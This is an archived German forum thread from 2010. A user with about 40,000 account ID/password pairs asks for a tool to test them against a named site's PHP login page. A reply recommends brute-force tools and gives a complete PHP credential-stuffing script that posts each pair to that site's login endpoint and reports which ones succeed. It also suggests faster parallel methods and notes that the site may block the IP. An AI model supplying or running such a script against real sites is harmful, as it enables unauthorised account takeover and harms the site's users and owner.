PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : S Brut force



gummi111
24.11.2010, 00:35
hallo ich hab ein problemm ich hab ich hab eine liste mit ca 40.000 acc daten also id+pw und davon funkioniren ca 5.000
hatt jemand ein programm so die daten für mich testen kann? einlogen auf einer php seite?

(FusionKal User Panel - Login (http://www.fusionkal.com/userpanel/login.php))

inout
24.11.2010, 01:32
Für sowas gibt es z.B. Hydra, Brutus usw. oder man kann sich auch selber kurz ein Skript dafür schreiben, ungefähr so:


<?php
$accounts = file('accounts.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach($accounts as $account)
{
list($username, $password) = explode(':', $account);
$postdata = http_build_query(array('username' => $username, 'password' => $password), '', '&');
$options = array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'referer' => 'http://www.fusionkal.com/userpanel/login.php', 'content' => $postdata));
$context = stream_context_create($options);
if(($src = file_get_contents('http://www.fusionkal.com/userpanel/do_login.php?do=login', false, $context)) !== false)
{
if(strpos($src, 'window.location="login.php?loginerror"') !== false)
echo("unable to login with $username:$password\n");
else
echo("login succeeded with $username:$password\n");
}
else
{
echo("error sending request. aborting...\n");
break;
}
}
?>
Dauert bei 40000 Versuchen nur recht lange, weshalb man alternativ auch auf curl_multi_* ausweichen kann oder asynchrone Sockets, Threads, Ajax o.Ä. benutzt.
Zudem kann es gut sein, dass du bzw. deine IP nach ein paar fehlgeschlagenen Versuchen auf der Seite gesperrt wirst/wird.